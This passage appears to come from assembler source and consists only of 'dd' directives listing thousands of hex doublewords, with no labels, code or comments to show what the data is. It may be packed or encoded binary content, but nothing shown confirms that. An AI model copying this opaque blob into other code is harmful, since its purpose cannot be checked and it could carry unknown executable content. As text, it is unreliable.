9414288Bh, 0AB11C297h, 0EA3F7EC8h, 3C156756h, 0E47F683Bh dd 0E81258EBh, 686C2154h, 13DC0C28h, 1CFEFC21h, 0E2321D8h dd 109B8B0Eh, 35460D43h, 0B422EC29h, 259FBFAAh, 0E4212042h dd 513BE2A7h, 14423BFCh, 41A93074h, 2262409h, 81E0682Ah dd 4AB3E834h, 282499BBh, 33679A1Fh, 5D6ED52h, 71C4871Ah dd 9115C25Dh, 9AC7B114h, 6928880Bh, 483B8877h, 0B74B2D51h dd 0E8C211C8h, 0F91C890Bh, 1F9AE89Ch, 0E462A120h, 84019FEh dd 128B86E8h, 0F3AEC3DBh, 0F5F86ED7h, 3C23AFD3h, 0FD15DE01h dd 8A44325Ch, 7128864Ah, 74123C06h, 3223B572h, 0E8086416h dd 154611D4h, 8C4F4815h, 0EA4450Ch, 27022152h, 4EA18B59h dd 880E2451h, 0D039FA4Ch, 9BA01608h, 3F680E87h, 0B3D50F09h dd 0AEF8DADCh, 0CC26B7D1h, 3F14455Ch, 0AE5E3E88h, 53F846F9h dd 1D12D193h, 99A5CAE8h, 11581079h, 318E86B9h, 0F1403C44h dd 3A650F4Dh, 82D2407Ch, 0EB27107Dh, 4C40EBAh, 0D547135Ah dd 124A8390h, 30D8C943h, 0FE4E340Fh, 0DFFFD834h, 263B3103h dd 0CA3E1D73h, 25195DE1h, 0AC8A510Dh, 0EB794CF6h, 4E10D45Fh dd 0CD69F4F6h, 42639E7Bh, 0F9818FC0h, 5E495902h, 0F90EB031h dd 0C5983829h, 0C01FE28h, 9656E804h, 0E01CCC3Eh, 44282995h dd 964423A4h, 3E88BD3Fh, 0F57EEE0Dh, 0FD07BA4h, 0CAE02EA4h dd 8E846805h, 83F69BE5h, 1CE80598h, 25FD5FC8h, 48C78719h dd 0CFD57DDh, 25F997F8h, 890E4F94h, 0BAC829DCh, 779E9272h dd 14BE23Ah, 0A7503348h, 0A487D8A4h, 6549DE39h, 9C175A61h dd 28680310h, 0DC10DFD9h, 71E05088h, 39BB8A27h, 2DB1F3ABh dd 41F7E5E8h, 3C780AC9h, 0D108BC4Eh, 6DA42B09h, 0FDE85332h dd 0E5976336h, 368889Fh, 152AC526h, 0DC214CAEh, 317872FCh dd 0F25051B5h, 7BD10D11h, 88F7CB87h, 0BC9C55CBh, 9991C495h dd 0FE954964h, 5F1243BBh, 376034FCh, 31344442h, 7625D4E8h dd 3246151Eh, 54D92D21h, 18B91D09h, 12B9072Ah, 684079A7h dd 5B70D132h, 298C2264h, 5A795BE8h, 0E9D2436h, 50CDDA3Bh dd 8528F01h, 505E95D0h, 49E915BBh, 5F75054Eh, 27C3E2C7h dd 0EEBCC0ECh, 29689B93h, 0FEE8421Eh, 0EB122215h, 0A62AFBFDh dd 8865422Fh, 5A1268B9h, 0B152C31h, 5E483F88h, 1A7732E9h dd 572BBA0Fh, 190F6EE5h, 0FBEAEC68h, 0E18E538Ch, 0C5FBAA10h dd 62ED97E9h, 0A8C84290h, 0F3D0245h, 0FAF17E19h, 808ABCDBh dd 0D126F7Dh, 9A30EB9h, 2120A33Eh, 0FA6C8E98h, 97E39F11h dd 0EE6CA166h, 1AE8122Bh, 76AC4625h, 0A7017828h, 448924ACh dd 540C587Ch, 34C3A472h, 0B390B6E8h, 0F1E8C525h, 668FAF52h dd 0A5A8BA48h, 909DF84Ah, 37BC33E6h, 0D1B6A4D8h, 894D7343h dd 909115FCh, 0F9B0C4FCh, 0F9AD7736h, 68942508h, 32317A15h dd 0A5C70E7Eh, 31C50993h, 581F2A23h, 44AF2461h, 326834B5h dd 158584C1h, 0AC888C90h, 242A08FAh, 0DC2FA2DAh, 8DAF6EF9h dd 0E8211052h, 0BE99A70Ch, 32FA4A92h, 78BDBC8h, 361F0A41h dd 12A02224h, 0C96402E8h, 7F925D23h, 1AEB81CCh, 9B9AE950h dd 50B24A47h, 317C9260h, 19FEF852h, 0B0C40B89h, 0CC5F2E63h dd 1644F048h, 80F87086h, 218E01BDh, 40EFE38h, 0F3A110F8h dd 5CD4DF7h, 2CDF0D18h, 68868BBFh, 47165408h, 0B4BFD830h dd 8AEF28B5h, 5FB65A3Ch, 71270621h, 2B30815h, 2AB60F0Ah dd 63F8838Bh, 31192187h, 429056A5h, 0CC5DE914h, 49074CD5h dd 8B12F97Ch, 0B58913A4h, 3A42E99Fh, 0D6201F32h, 0A80C221Dh dd 84FA38CEh, 649C0656h, 0A8A50439h, 0E545568Dh, 205B5119h dd 2E904BF9h, 4A2D33E8h, 51357B3h, 0E010D322h, 35F395DEh dd 52EC1932h, 0AB551F0h, 0A6509D1Ch, 0B868363Eh, 52221835h dd 0ECE814FEh, 14286960h, 6C755845h, 0F3520839h, 0F63B0A93h dd 33C66582h, 34565BCCh, 35E8C20Bh, 869946DFh, 0DEF52D0Eh dd 0E9139564h, 32BB01A9h, 2A9124E6h, 510FAD32h, 0F9BCC7B4h dd 0D1B316D5h, 34C826D0h, 46581C64h, 57A2DC09h, 2086615Fh dd 448E2BA3h, 0BD356770h, 29AA1910h, 9EF89731h, 5E118DDEh dd 31A112C8h, 6DA85A10h, 0CF1B898Dh, 0AF5859B1h, 9B553F2h dd 0FF15E920h, 271C850Dh, 6168804h, 94245BCh, 93F4E44Eh dd 0B52125B7h, 0DD360E11h, 0BE829E2h, 0B5DC2762h, 14317245h dd 6848CEB3h, 0F04E8555h, 0B41B18F2h, 201BFE29h, 0B822E88h dd 0E8149B36h, 0A265DDA6h, 4E4ED50Dh, 6526E934h, 25532132h dd 477E3359h, 8ECB194Bh, 0CC228139h, 40C41C99h, 2CF41437h dd 0EE15F7D7h, 1A44564Ah, 75343893h, 0D03C9F0Fh, 0B1550C9Ah dd 22FE40A8h, 0FF3220C3h, 3014F00Eh, 0AF518BCAh, 0CCF89484h dd 2F865A75h, 56795E77h, 3B053CE5h, 5722D214h, 4B342838h dd 38E756DCh, 8C2C7C8h, 48A1DF4Fh, 34E842B2h, 6C779D93h dd 0CFB8DA6h, 838810Eh, 0A5DC6184h, 578B9BEBh, 388D621Dh dd 96088922h, 74328A96h, 0F3E68B67h, 4A539D66h, 100A8818h dd 95A5D3CEh, 1D46B70Ah, 0C9451A20h, 12403723h, 732D2768h dd 1CDD9860h, 524BCC97h, 0E8141618h, 8C47419Fh, 36DBF811h dd 8E0260E9h, 0D4F135EFh, 8D367123h, 986C7A1Fh, 752C8410h dd 8BAD4926h, 7054D4BCh, 798C8BF7h, 4B7DAB74h, 6332853Dh dd 0D85A2D07h, 1D5013CBh, 9413BD79h, 6E032F5h, 49E5DE1Ah dd 97ED5BD8h, 9A5F04Ah, 9D2AE4D6h, 0EA75E407h, 69F0A228h dd 0B6D790FAh, 0EAF453FFh, 98F2DF11h, 6B2C68A2h, 39DC668Fh dd 0D3465D5Ah, 68F430C1h, 0FF51764Dh, 0CE7B1D09h, 0E8816323h dd 0CF724E94h, 82C29DFh, 9FA3F2A5h, 8E97D08Fh, 75200AA2h dd 80470E0Bh, 0C9B052ABh, 0A3DBD404h, 56E2DCADh, 0AB845BDh dd 0EC0D1A74h, 0C164D06h, 28EEC13Bh, 0D25EEBF6h, 0E3E8E175h dd 2FEC188Ch, 0F2A722DDh, 78E49750h, 0D225E82Bh, 14611421h dd 241911E8h, 73B7F1BBh, 89E125FDh, 1A66F2CCh, 4CF1C9B7h dd 1602FB44h, 9007BBE8h, 0B7104D3Ch, 3F144D49h, 0FD087C92h dd 9C7D3832h, 0C43BEE60h, 0AF8D0FB8h, 9FFFDCDh, 817C8359h dd 5D50A341h, 0E8E88A4Ah, 40CC4972h, 498C555h, 3C29318Ah dd 16509481h, 4DF9F0Ch, 6BE22B14h, 9315DEC5h, 75A7BDF4h dd 0ECCF4FA4h, 0A289EE55h, 0AC42EB81h, 0ACF844C2h, 413484C5h dd 0A5B2478Dh, 1AE029F1h, 9014211Eh, 48F8A027h, 89085AEBh dd 2E53A9B0h, 57565387h, 7D37A6B9h, 851000E9h, 831874C9h dd 0E4EB01F9h, 8812068Ah, 6D018407h, 4947460Bh, 142E21A4h dd 5F09B8C6h, 0EBFE5B5Eh, 129BA774h, 30DD3C22h, 0E107C29h dd 7D7F3962h, 0C0323183h, 1B062A7h, 9329A245h, 0BAF06809h dd 0F4F1992Ch, 502FDA0Dh, 312B0C10h, 627F1239h, 0A2884657h dd 90CC99Fh, 2C74F102h, 0F9B513B6h, 16169578h, 7522E9E2h dd 48A9D421h, 83F4C48Bh dd 0FBA43706h, 0A408899Ch, 0E1619F13h, 0D9460A8Ch, 61D475B3h dd 0D34F6EEBh, 0E740D0Ah, 750A580Eh, 6DA74D5Ah, 0D03FC86h dd 14364D59h, 2B2D0104h, 626D1212h, 8012B8E2h, 74016924h dd 256F0CBBh, 0D9B9A98Ah, 0A8532D09h, 0DDD40814h, 889418Dh dd 92216552h, 69F3E411h, 4BBB1915h, 486153C4h, 292E5DCEh dd 46C27E34h, 0C84DCDF4h, 0E8111737h, 0E36A988Fh, 0FD54D3C7h dd 5662DE4Eh, 0C04F9A08h, 88098A63h, 53D54BFBh, 993D8B13h dd 1368355Ah, 13582F89h, 49289A89h, 6E893B37h, 305948D9h dd 66A99EAh, 22EB2B44h, 0FE7ED191h, 0B5977A2Dh, 49C451Dh dd 42B953D5h, 752E82A2h, 0AD24E515h, 19C0C5Bh, 2332EB4Ah dd 11948BE8h, 1605B422h, 112614EBh, 24C08E5Bh, 58E4A0EBh dd 0D0B12E6Ah, 7EFB950Bh, 7E0358D1h, 0A796CDB4h, 0A518B632h dd 6481445h, 320C6410h, 91FED3FCh, 331F4C62h, 0E2020D42h dd 92032422h, 38EE6D3Ch, 9F55B4D0h, 0D97EE760h, 821A1423h dd 1ABE14E8h, 81583B43h, 1AFEFA15h, 181821E2h, 0B2E042E8h dd 798B7607h, 0D9F76B51h, 22E7722Eh, 140240Bh, 6A24860Bh dd 4697AD0Ah, 256DB0D7h, 399985BEh, 0D61A723Bh, 3A61E734h dd 0B1DE7473h, 85E9690Bh, 2BF51C2Ah, 861EB249h, 256A4C1Ah dd 4F2E3674h, 3A1030C9h, 0A9D2ED11h, 40123FE8h, 6D151188h dd 0DF21186Bh, 54F0D8E8h, 880D1263h, 8853E921h, 0EEAB9D40h dd 79EC7289h, 772915EDh, 6812BCD4h, 91638950h, 0D895638h dd 1E4C8DF6h, 0F68A8647h, 5D0CEFC9h, 2C11EA46h, 5FAF2618h dd 0A2431395h, 0E7C51A04h, 44131126h, 0BCCC18E2h, 48F9C409h dd 2FB7E7D0h, 8C146D60h, 389FD36Ch, 0DF566F41h, 0B772DCA1h dd 4DC00866h, 4FC1DBA1h, 91D92126h, 44D422CCh, 0ECBFE4DCh dd 289953F0h, 85ADB1C8h, 0F32ECC2h, 0B55C2BA2h, 0F7DEA8CDh dd 48450EA8h, 82F0126Fh, 3CABFEA2h, 1E8979D0h, 0F45F4CD0h dd 0E82BB3A6h, 0D8451E09h, 98FC7932h, 53EBE8CDh, 0E0CA1EFDh dd 0A1BD6893h, 0CDE88AE7h, 4475E81Eh, 624150D0h, 4654684Eh dd 2FA2907Eh, 0D7C4EAFCh, 65E2D197h, 625C2420h, 2D46E84Ah dd 44FCBA23h, 0A5F02CA4h, 1507ABA8h, 4C82892h, 0B6235627h dd 3FEF1980h, 6AD69477h, 0C85971DDh, 0F4C5E42Fh, 53E86645h dd 31E01762h, 0E8814CF0h, 23173C56h, 0F8EC14FCh, 0EA25E8C2h dd 0A7A3A773h, 0ACE8D248h, 0A9D22A14h, 82D1438h, 33DF0C1Ah dd 0A3104B0Fh, 0C02D4B4Ch, 37254F26h, 0D26E7F5Eh, 0A419D7DCh dd 0F86CC90Ah, 77E98066h, 0DDEB15ADh, 0D7339623h, 11834AB8h dd 639E3DBBh, 0B1A53F1Eh, 3D55FC94h, 0EAF4F6D2h, 1EE85353h dd 0C1E5A7EBh, 0D154AA1h, 2920D140h, 42BEAFB7h, 202BF81Ah dd 23695C64h, 27B86E14h, 953A310Fh, 14E8B1A7h, 395FADFFh dd 0E44AFFE0h, 999E21B3h, 22B2DD2h, 75C00B1Bh, 7E9886A0h dd 4AA0524Bh, 2620B9EAh, 351732BFh, 6AB4FD28h, 7709B1F2h dd 0A15772BAh, 0F424006h, 45AF1699h, 813F3864h, 0E98FE8F8h dd 16782647h, 6443C3ECh, 1A65BB84h, 7709E5F8h, 0D9427213h dd 0B737783h, 714B3321h, 85420C47h, 323237C4h, 0C8261017h dd 1E435C21h, 10441923h, 8730A30h, 7B7B4A97h, 49EC2029h dd 1B276DE8h, 5ACF5B58h, 0DCF42A13h, 1A691E4Dh, 1F6A51C2h dd 70AA5FFh, 0AC9660A8h, 9D702028h, 98A5DDD1h, 69608018h dd 0B4E1B303h, 91429313h, 0EBF94761h, 278ADF79h, 0A9B1EE3Bh dd 8FAAC554h, 750105Bh, 8B2BA555h, 0F9341034h, 21E7DC9Dh dd 0BC177446h, 0F8CC0883h, 2BC4A6B2h, 52C9975h, 0B102E9Ch dd 0B20FE8C1h, 0AE67F5DDh, 0F314A910h, 241D78C8h, 0AD920E91h dd 8B4566DCh, 93A80656h, 1518008h, 0F9182AB1h, 0C2D9DF0Ah dd 66A21017h, 0FADC2320h, 6A0B01D2h, 2943593Ch, 8935A1Ch dd 0FDBB15E6h, 0F3B5307Dh, 4FC5261Eh, 11B32BDDh, 361A6D18h dd 91652D2Eh, 5E667828h, 9462CBE0h, 5D246A5Fh, 0FEE44791h dd 1759C513h, 740C3049h, 92E5FB41h, 32F00A43h, 8315689Fh dd 750429A1h, 0E8129134h, 812BF270h, 0CA0113F0h, 642F910Ah dd 10134BA1h, 2660A202h, 3D8ED7E9h, 0B85B1546h, 22214291h dd 76EB2B5Ch, 285A641Eh, 18EB8458h, 42388505h, 3A445088h dd 1085017Ch, 511C884Ch, 990B1913h, 0E4AC4429h, 3DF5E817h dd 0C1543F4h, 89290A8Dh, 80E884F5h, 0FDDCEFBDh, 924088BCh dd 3C0C818Ch, 0AA98B12h, 0A5806221h, 64A5B884h, 25F70Eh dd 89A20F52h, 17DD789Dh, 67C958Ah, 0B4808D08h, 88125DB0h dd 8306F914h, 0AA73F4A5h, 5007029Ch, 236C168h, 0C34456Fh dd 0A5D6E892h, 75C6A7FCh, 0C442525Ch, 4A91E66Fh, 0AD0A3B8h dd 344D5029h, 0B71F1F0Fh, 1E917479h, 5F4FB594h, 0F104A5DDh dd 0A67270FCh, 88E81329h, 4252A6F5h, 97282223h, 9CF92584h dd 0F84EB82Eh, 0C40A5CBh, 1F9150F4h, 21FA47DCh, 0B190EFB4h dd 0B01CF918h, 4947BE87h, 1AB2D384h, 0C675690h, 0B445D81Ch dd 4BC0C5Ah, 1634B00Ch, 0F5CC274Bh, 0C8214810h, 0D9C5E889h dd 12149510h, 542DEC2Ah, 86E406E8h, 7439F054h, 6E68FB40h dd 25BCE104h, 0E8586A74h, 0C4E4581Dh, 6B0F548Ah, 1831ABF9h dd 0E810F938h, 0BB974D93h, 251F7E23h, 0E4C40FA9h, 6D97A7B8h dd 0E3748E05h, 5F28A211h, 7A2D001Ch, 68F921D7h, 0DC2E9274h dd 8344ADFFh, 8D0D46A1h, 0C42D612Ch, 0E320E809h, 17C405C6h dd 9B5D7DD6h, 0B14A2339h, 23DC25F8h, 57A73DB2h, 0CE57DEE2h dd 60F8E79Ch, 1BFEFDCBh, 2DB807E1h, 26EB1D2Ch, 2B7364B8h dd 0F0F3D0Ah, 0F1E40D73h, 4B6036E2h, 5A37D7D4h, 165C2516h dd 0F16BFEEDh, 17662CA8h, 20E671E8h, 0E6C507Eh, 0F87E8C63h dd 55238442h, 9090F41Fh, 0F0C74788h, 3922A0E4h, 0B0F9EC31h dd 0F18C2B08h, 60F362Ah, 81F0F440h, 0E9E802ECh, 0D8150689h dd 45F384Fh, 0DBA7D1B2h, 0C4228670h, 1886B68Fh, 0E8D11FEAh dd 519F2FD7h, 0B10F0314h, 0F859885Eh, 50C8484Dh, 5BB77A92h dd 2AFC1057h, 13B5068Bh, 0E78F4AC7h, 0CB2775CAh, 841B66E1h dd 7C7E220Eh, 0C8902A85h, 88F0F8CFh, 450EE8A1h, 0E12A1354h dd 437A4EE7h, 0C72A1343h, 0F037DFF6h, 13BD9551h, 7FDAA506h dd 233487D4h, 0CDAE4335h, 802C113h, 1CFD42F8h, 2123E1B3h dd 3B36110Fh, 730ED359h, 24AB551h, 7AC6C985h, 3F2073BDh dd 0AB4737B5h, 5613C99h, 99BB1205h, 38ABA377h, 0AB35ED44h dd 2B23FB9Eh, 0E8228FBCh, 35133EEh, 423D2849h, 0CAEC735Bh dd 88285045h, 0FD820F12h, 321043E6h, 980E3920h, 80C8E354h dd 8D48EB59h, 901A412Fh, 0A584D4B4h, 0ADDF21D8h, 9DD90D40h dd 25628AD0h, 48215B3Bh, 9FCC91C8h, 0A07B9F62h, 0FD532AA2h dd 86DC22CEh, 2A814262h, 0EB29128Bh, 3166819h, 63064BAh dd 550EE90Ch, 9AF6595h, 0B4DC0A7Ch, 84F5A078h, 42E00538h dd 8DFF487h, 10B3132Dh, 84FBEC3Ah, 0D198DFD0h, 0C8EEBDDCh dd 0BF4C4CB5h, 752E0546h, 0F42DF036h, 12FB7905h, 0DE2CAB8Bh dd 250923BDh, 2BCB3A7Eh, 5033DC80h, 75257E8h, 234836C6h dd 0B314ED4Ch, 15D08AAEh, 0D1AE9654h, 0D2205BE0h, 0D430AECEh dd 93806847h, 507BCCA4h, 42044384h, 61455E13h, 1003DEF4h dd 0C54C3D83h, 954E3288h, 2E8650ECh, 7828892h, 304CB005h dd 8B2F74EAh, 98FD11AAh, 56681235h, 0AF214578h, 8810EB8Bh dd 9DC412A0h, 0B7697F37h dd 9C21C96Eh, 219FCFF5h, 2CA15E4Fh, 0B5AD0A7Bh, 3D98C428h dd 9F516F2h, 0F9894CD9h, 0D61990E8h, 4217B3D8h, 700D35E4h dd 9E32FAE7h, 480A11EEh, 88856816h, 607101F4h, 45C4E811h dd 0BD059241h, 4A531C42h, 73F59408h, 6972184Ah, 901FB1E0h dd 90857C0Fh, 1E8CA2D0h, 0E8461DF9h, 2145BF90h, 0C902A3Eh dd 8C21E043h, 914BD091h, 0A4848541h, 881DE81Fh, 84FDBEA1h dd 48E9745Bh, 4AED4EDBh, 9006E433h, 0F875854Ch, 9ED5DFFCh dd 686C30D2h, 89969284h, 84F7EC50h, 14DD9421h, 98D20F48h dd 0F542A489h, 0CF470A11h, 2013F1A0h, 0B88BE809h, 6ADC4BEEh dd 0D0F41086h, 289388C4h, 1B8B4430h, 24830746h, 3F6598A1h dd 7FE7E480h, 985525Fh, 1CDDCC42h, 0D5D6700h, 4F576401h dd 9F1E8805h, 0B3181202h, 0CCE825B9h, 0C831818Ah, 6A528114h dd 0C6A62A08h, 0B9537C3Ah, 32E4E24Ah, 57E0F910h, 5B8DA8A5h dd 37C7AAE9h, 0C8BE655h, 0E42712BEh, 7E8A611Eh, 0A5880104h dd 834A480Ah, 275A77F8h, 0D8E47B85h, 0CBFEF459h, 0D934C2DCh dd 0FA2CE280h, 85DC0510h, 8EDBF488h, 0BE62056Ah, 3848943Ch dd 0FB40FCBDh, 0A4A517F3h, 5356EBB9h, 0FC11B591h, 19FCD93Fh dd 5F7463E8h, 2CDA87A1h, 0FA43280Eh, 6845EC3Fh, 1ABF77C1h dd 0D5BA5FEEh, 0EBF405B2h, 6400849h, 45295025h, 0E60D098Bh dd 22C7E04h, 94AC754Ah, 9430FC04h, 124F0A41h, 28320344h dd 4183D11h, 23204286h, 0C805102Bh, 62194418h, 8101906h dd 813C807h, 748A2BA1h, 7C696A2Dh, 25272C1Bh, 48E06F19h dd 8E8CF407h, 0EBC844B5h, 808D135Fh, 0F0E82810h, 698C93DAh dd 24FBA704h, 55071C14h, 76E2733Dh, 0A94F9542h, 6815C16Ah dd 0A26F9404h, 0DAB5C50Eh, 47F30CDh, 34FBF005h, 0D00B310Eh dd 34064A96h, 664A7252h, 3D188A3Ah, 9357E468h, 0BFA74B49h dd 26EB1C0Ah, 0D4425428h, 6A9314E2h, 14EC8DB1h, 85A2D94h dd 40B69128h, 8A07A5F6h, 40514452h, 56434808h, 8B4648DFh dd 8F19FF37h, 137411FAh, 0E710CE5Bh, 36EB96D9h, 44D30C7Fh dd 684328EEh, 0F6839C52h, 721FB439h, 7464D1FCh, 0E29717FFh dd 58AC579h, 984D1FB6h, 1AD956E1h, 31CD5CC4h, 110A9454h dd 83118F2Eh, 0C9EAA403h, 0D88601ADh, 0D9A22870h, 214D414h dd 7F487C4Ch, 764287D4h, 0BFF7D440h, 400E3A28h, 0E49F32F0h dd 612EF3C8h, 0ADAA3ECh, 6E6DDF1Fh, 7E896F9Eh, 71EBC51Bh dd 0A0A30F09h, 1424A6E2h, 7FD045A8h, 164508CAh, 43C87E1Fh dd 35323BE4h, 211B2D39h, 61847325h, 0EB01D9F3h, 47795B0Fh dd 3B49F274h, 393B32FCh, 0B1101B33h, 438CACD9h, 297F22D9h dd 91F3052Bh, 1C1C9A0Ch, 0C02534EBh, 1946B017h, 0D7368682h dd 0C6C8EA63h, 0BA86823h, 2A0892A1h, 6A0305F7h, 727868FFh dd 6DBA2F10h, 33A1641Ch, 89B95003h, 0D62DC225h, 0E196123Ah dd 0E865F822h, 5BF346B7h, 2FAA89E4h, 0C54B18B2h, 8D8DAAC9h dd 6099896Ah, 60A249ABh, 0DC150CE8h, 4B61C69Fh, 0CC3BB920h dd 0FE682D15h, 5673B594h, 41407F88h, 6A12EB0Ch, 0E0550FD1h dd 4D99916Eh, 771528FCh, 925EB28h, 68281DECh, 0D6ED2C70h dd 0D0CB18F7h, 22DEED9Eh, 84888BC3h, 3C8C241Fh, 9FF050F6h dd 0B5BC840Dh, 1A72B5Ah, 0D6C0E815h, 9AEE84C3h, 0D2F15A02h dd 0CC4C7CF6h, 48F00C11h, 92870448h, 68F19727h, 5E0793B6h dd 977B212h, 0F1D901E8h, 0E5D1248Bh, 531EAE74h, 2D625B67h dd 8A0BD141h, 5B6BE85Dh, 0EA595E25h, 0A8881130h, 8CEC2C81h dd 2D33AB20h, 6410ACD3h, 65646088h, 51464B29h, 34DF6840h dd 0E572F60h, 8D2AF6ADh, 43CA9A31h, 165A51D5h, 51C8221Ah dd 0A22CA95Ch, 21EB290Ah, 622BA92Bh, 64179DA5h, 0B801D814h dd 0A4440645h, 2D102388h, 45691B75h, 22734486h, 1613A91Dh dd 0AB88E982h, 0DF483072h, 0A4923DB4h, 35611073h, 98C0691Bh dd 0DA645BCh, 0AAF64F58h, 0AD3BC80Ah, 3A104C21h, 3C395DE2h dd 38BEEB11h, 266D5F87h, 989AFE25h, 4C1C1B36h, 0DB7C833Dh dd 0B61E55C2h, 4B549616h, 0F0E94A7Eh, 0EABD48D2h, 0CA1070D1h dd 5EDB1D4h, 6BE1CC18h, 573F6A8Dh, 0F4D1E053h, 40BF079Bh dd 0ED928210h, 146A5E66h, 0E841782Bh, 8D2ED702h, 0A59B4DCAh dd 1215D626h, 401C21A1h, 480DA1A3h, 36EC6E4Ch, 114106EBh dd 330C3989h, 68107C4Fh, 425B94E6h, 0D6B5E87Ah, 28809BDDh dd 0F87141E1h, 36C9A978h, 8427A348h, 0C485489h, 0B6984F68h dd 0F8C15EDCh, 180DD429h, 298C2CC1h, 100F0EEBh, 0B6B7931Dh dd 0FC151342h, 94A44B04h, 0D0C4AF24h, 570DB499h, 0C61E896Fh dd 0D62C5696h, 4152F104h, 0BC1594A5h, 0E90582B7h, 877D7936h dd 6EE2C3E8h, 3438A5F7h, 10A05ABAh, 0E394D3C9h, 8B443D68h dd 0E446AE25h, 0EDD82D73h, 74B1AA22h, 5A165B17h, 8A7D35B9h dd 95B3E11h, 0B58B904Dh, 0DF11B468h, 0C03DA485h, 0E88E7010h dd 10C8A7D4h, 0DB2D21C5h, 0A5131C22h, 0DEE3AD6Ch, 28072063h dd 8306BD83h, 16248D8Bh, 552F8E2Eh, 6186E0CCh, 0D84B2785h dd 35F2A9A4h, 592BA27Ch, 251A94F4h, 5FC40AA9h, 2B431899h dd 0AC407277h, 38A2DA5h, 9C640C59h, 0CC234C8Eh, 53E17788h dd 589984A9h, 7924E8F6h, 3BD050D2h, 6C108503h, 0DD9356ECh dd 679FFC65h, 5D6BE54Fh, 5F1D1BE7h, 5ADD21F4h, 0BB1365D1h dd 0DFE00E22h, 7D84171Eh, 1202CC22h, 2B011FE9h, 886C218Fh dd 9278D1E1h, 0F4108702h, 314F6821h, 0C2BEE19Dh, 0E54B0F3Ch dd 9335A909h, 0A00884D2h, 480F4D53h, 0A9690D8Fh, 9ED89757h dd 6512870Ch, 301F0869h, 55C0B53h, 7DA40E94h, 0CC114823h dd 0B58AD042h, 0A1142B2Ch, 4BA4910Ch, 0C1509EA6h, 6EE29124h dd 0E47301A8h, 0EEA36845h, 7060596Ch, 4F1E85D0h, 0A14914E5h dd 0C22E1EB9h, 0DEC635BCh, 0AD16598h, 3A1F842Eh, 1AEB1020h dd 16CC6829h, 0E4570964h, 0AE58E943h, 8123B22Ah, 0F0658077h dd 895DCB6Fh, 94299D7Fh, 0F98E3864h, 56CE5B11h, 0D5211642h dd 642B6F35h, 0BC984A4Fh, 397F788Ah, 6285A0A6h, 0CE3FD64Bh dd 90182CB2h, 0A76C2AE1h, 472384A3h, 582964CFh, 6951E8C5h dd 0C3446CC3h, 9AD56816h, 0F85404C1h, 0A5B80F44h, 0E2270937h dd 6145CF19h, 0B0186A0Bh, 86CF25AEh, 0DE104AA0h, 532BED84h dd 0E634EB48h, 9EB1105h, 0DDE40B4Ah, 5BBBDCA5h, 0C0E3CB5h dd 0A24B7147h, 4AE5D32h, 6C10FF0h, 151BFBB1h, 9C14872Bh dd 6E389883h, 9995E2CCh, 0C83C7D24h, 1C681205h, 8E64495h dd 77E932D1h, 0A312DD0Eh, 21E820F7h, 8A9FCE85h, 1E88100Dh dd 1849832Ah, 0D0DA2614h, 7FD8C9F9h, 53F4A591h, 0F4F46A14h dd 0CE4A5930h, 183B6FB7h, 7D08F88Bh, 0DBC8F9E1h, 12A00887h dd 627756DFh, 6A0C5739h, 0A595DC12h, 4622943Bh, 0F8770ED4h dd 9C88D299h, 637DB14h, 667B0AFDh, 1311AD5Ah, 0D8E40208h dd 4BB38648h, 41E2E6E0h, 74B9EBBAh, 58B37B0Dh, 49E75F4Eh dd 1BD717EBh, 7809EAC7h, 4B0B86F3h, 3DF81049h, 549AD48Bh dd 0D06EC250h, 11E8651Eh, 20747D11h, 2FDE7CCh, 9D6B0F49h dd 35B12E89h, 8AF157C2h, 65315044h, 7B14C2CDh, 508E154h dd 0F7E3E05Fh, 0C686904h, 52DCAA96h, 29D06AA3h, 8A763BCCh dd 7F438EFEh, 0FC971903h, 44354195h, 2698AA15h, 2B628ACCh dd 0D842163Ch, 0D451DC21h, 6CA6C612h, 0CC42B201h, 20B226C8h dd 164316D8h, 664D421h dd 0F310BC50h, 27FB4AFEh, 52B585D4h, 0ED34EB06h, 2BC1E5AEh dd 0D1907DACh, 101B542Bh, 6840C83Ch, 0A8E2406h, 8F0F8B27h dd 0AE5BF0Fh, 6F0B2750h, 885F0C4Bh, 14A84074h, 0B1CC512Dh dd 64D668D5h, 0CEC82340h, 16028B0Eh, 57C6CA32h, 98A00AFAh dd 9AA8A0Eh, 88AD4F8h, 60073A88h, 0C13BF34Dh, 5B508FFAh dd 0D1837D2Eh, 0A415185h, 7A4714A5h, 931C8D72h, 201C2193h dd 724A9BBh, 8BBF3012h, 340E64B5h, 2C312862h, 0E6CDDD6Bh dd 1734BC33h, 8BF2FC06h, 228BD9A6h, 91D4D22Ch, 32206A9Fh dd 8BB5295Bh, 5704C22Fh, 9496171h, 0E32756DFh, 62446974h dd 48687564h, 3127B92h, 894AD2BFh, 338B0CA4h, 231CE23Bh dd 37F50C73h, 2479E81Ah, 80167612h, 8116EB0Eh, 89140C34h dd 8E89F2C7h, 36EA8DFCh, 0A915559Bh, 0F92BFF3Eh, 184899AFh dd 14218923h, 8113750Ah, 0F7D233C1h, 3491F8EDh, 15EB1420h dd 0FA1C2BF3h, 3168242Bh, 0C810E348h, 0F05C028Bh, 51B74822h dd 5D10457Dh, 7409A155h, 1B8A2458h, 1A11504Ch, 4419478Eh dd 2FAA8B35h, 1319F08Ah, 20423224h, 471CE213h, 685004C4h dd 0CAF99494h, 342F1023h, 4EEB2C82h, 502358BFh, 0DF3C8C5Bh dd 280C3342h, 144822EBh, 0F240108Dh, 8B1018BBh, 3B959299h dd 4A75275Fh, 0E9579068h, 0BC1DD384h, 1818E2CAh, 96F06814h dd 21456695h, 0E904337Fh, 0B7AF0109h, 43C93800h, 0F0E90583h dd 0D702E284h, 0C962DA44h, 8B7D73FAh, 19054828h, 0C9FA84B5h dd 1ED028FAh, 88B24997h, 0D63D1043h, 0E7F2875h, 53785210h dd 25E6F34Eh, 63EF761Eh, 88FB4D8Ah, 0FE2BA38Ah, 0ED372228h dd 37104A61h, 860927C0h, 374120CAh, 5227EC44h, 0C31A7530h dd 8889F8D0h, 1837A9A4h, 62AF272Ah, 27931AE8h, 3D727C4h dd 22F0EF08h, 0A44BFA8h, 0D08D1097h, 69A7BC9Dh, 0BAB40505h dd 7514E58Bh, 8886D40Bh, 0EB2F85C8h, 6143FB09h, 24111CB8h dd 0C850E10Eh, 0DB9F0850h, 0AF051D29h, 0D56BE45Ch, 6C68B210h dd 15894392h, 2F052302h, 0B70E4432h, 3BC664BBh, 0E80E328Eh dd 36FFADC4h, 42082DAEh, 0EB61329Dh, 5A311469h, 5BA56068h dd 5EA21ADDh, 340CE5A2h, 0C7018210h, 0C3885D0Bh, 1470C91Fh dd 4DB04C28h, 0A2A40C48h, 6148410h, 13AD594Ch, 